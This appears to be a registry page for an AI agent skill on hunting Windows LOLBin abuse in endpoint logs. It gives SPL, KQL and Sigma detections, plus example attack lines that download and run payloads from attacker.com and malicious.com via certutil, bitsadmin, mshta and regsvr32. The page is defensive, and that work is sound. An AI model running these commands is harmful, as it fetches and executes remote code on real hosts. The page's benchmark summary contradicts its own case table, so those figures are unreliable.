Install any skill in seconds. Free to start, no credit card required.
Get Started Free →Hunt for adversary abuse of Living Off the Land Binaries (LOLBins) by analyzing endpoint process creation logs for suspicious execution patterns of legitimate Windows system binaries used for malicious purposes.
.claude/skills/hunting-for-lolbins-execution-in-endpoint-logs/SKILL.md| Test case | Without → With | Effect | Δ tokens | Δ turns |
|---|---|---|---|---|
| case-01 | ✗→✓ | ▲ Improved | — | — |
| case-02 | ✗→✓ | ▲ Improved | — | — |
| case-06 | ✓→✓ | = Same ✓ | — | — |
| case-04 | ✗→✗ | = Same ✗ | — | — |
| case-09 | ✗→✗ | = Same ✗ | — | — |
-urlcache -decode -encode, mshta with URL arguments, rundll32 loading DLLs from temp/user directories, regsvr32 with /s /n /u /i:URL.| Concept | Description | |---------|-------------| | T1218 | System Binary Proxy Execution | | T1218.001 | Compiled HTML File (mshta.exe) | | T1218.003 | CMSTP | | T1218.005 | Mshta | | T1218.010 | Regsvr32 (Squiblydoo) | | T1218.011 | Rundll32 | | T1127.001 | MSBuild | | T1197 | BITS Jobs (bitsadmin.exe) | | T1140 | Deobfuscate/Decode Files (certutil.exe) | | T1059.001 | PowerShell | | T1059.005 | Visual Basic (wscript/cscript) | | LOLBAS | Living Off the Land Binaries, Scripts and Libraries project |
| Tool | Purpose | |------|---------| | Sysmon | Process creation with command-line and hash logging | | CrowdStrike Falcon | EDR with LOLBin detection analytics | | Microsoft Defender for Endpoint | Built-in LOLBin abuse detection | | Splunk | SPL-based process hunting and anomaly detection | | Elastic Security | Pre-built LOLBin detection rules | | LOLBAS Project | Reference database of LOLBin abuse techniques | | Sigma Rules | Community detection rules for LOLBin abuse |
splindex=sysmon EventCode=1 | where match(Image, "(?i)(certutil|mshta|rundll32|regsvr32|msbuild|installutil|cmstp|bitsadmin)\.exe$") | eval suspicious=case( match(CommandLine, "(?i)certutil.*(-urlcache|-decode|-encode)"), "certutil_download_decode", match(CommandLine, "(?i)mshta.*(http|https|javascript|vbscript)"), "mshta_remote_exec", match(CommandLine, "(?i)rundll32.*\\\\(temp|appdata|users)"), "rundll32_unusual_dll", match(CommandLine, "(?i)regsvr32.*/s.*/n.*/u.*/i:"), "regsvr32_squiblydoo", match(CommandLine, "(?i)msbuild.*\\\\(temp|appdata|users)"), "msbuild_unusual_project", match(CommandLine, "(?i)bitsadmin.*/transfer"), "bitsadmin_download", match(CommandLine, "(?i)cmstp.*/s.*/ni"), "cmstp_uac_bypass", 1=1, "normal" ) | where suspicious!="normal" | table _time Computer User Image CommandLine ParentImage ParentCommandLine suspicious
kqlDeviceProcessEvents | where Timestamp > ago(7d) | where FileName in~ ("certutil.exe", "mshta.exe", "rundll32.exe", "regsvr32.exe", "msbuild.exe", "installutil.exe", "cmstp.exe", "bitsadmin.exe") | where ProcessCommandLine matches regex @"(?i)(urlcache|decode|encode|http://|https://|javascript:|vbscript:|/s\s+/n|/transfer)" | project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine | sort by Timestamp desc
yamltitle: Suspicious LOLBin Execution with Malicious Arguments status: experimental logsource: category: process_creation product: windows detection: selection_certutil: Image|endswith: '\certutil.exe' CommandLine|contains: - '-urlcache' - '-decode' - '-encode' selection_mshta: Image|endswith: '\mshta.exe' CommandLine|contains: - 'http://' - 'https://' - 'javascript:' selection_regsvr32: Image|endswith: '\regsvr32.exe' CommandLine|contains|all: - '/s' - '/i:' condition: 1 of selection_* level: high tags: - attack.defense_evasion - attack.t1218
certutil.exe -urlcache -split -f http://malicious.com/payload.exe %TEMP%\payload.exe used to download malware bypassing proxy filters.mshta.exe http://attacker.com/malicious.hta executing remote HTA files containing VBScript or JScript payloads.regsvr32 /s /n /u /i:http://attacker.com/file.sct scrobj.dll executing remote SCT files to bypass application whitelisting.rundll32.exe C:\Users\user\AppData\Local\Temp\malicious.dll,EntryPoint executing attacker DLLs via legitimate binary.msbuild.exe C:\Temp\malicious.csproj executing C# code embedded in project files to bypass application control.bitsadmin /transfer job /download /priority high http://attacker.com/malware.exe C:\Temp\update.exe using BITS service for stealthy file download.wmic process list /format:evil.xsl executing JScript/VBScript from XSL stylesheets.Hunt ID: TH-LOLBIN-[DATE]-[SEQ]
Host: [Hostname]
User: [Account context]
LOLBin: [Binary name]
Full Path: [Execution path]
Command Line: [Full arguments]
Parent Process: [Parent image and command line]
Detection Category: [download_cradle/proxy_exec/uac_bypass/applocker_bypass]
Network Activity: [Yes/No -- destination if applicable]
Risk Level: [Critical/High/Medium/Low]| Case | Status | Duration (ms) | Turns | Tokens | Tool calls | ||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Without | With | Δ | Without | With | Δ | Without | With | Δ | Without | With | Δ | ||
case-04 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-09 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-20 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-03 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-01 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-10 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-05 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-02 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-17 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-23 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-22 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-21 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-14 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-08 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-12 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-19 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-13 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-18 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-11 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-07 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-06 | pass→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-15 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-16 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
DecimalAI ran this skill against gemini-3.6-flash twice over the same eval suite — once with the skill loaded and once without — and compared the two runs case by case. 23 cases were attempted. The headline lift of 0 percentage points is the difference between those two pass rates over the 23 comparable cases. 2 cases got worse with the skill loaded, and they are included in that figure.
The per-case answers from this run were removed by the retention sweep, so the case table below shows the verdicts without the text either arm produced. The counts above were recorded at the time and are unaffected. Answers are now kept for 180 days.
Other measured skills in the registry, with their headline benchmark lift.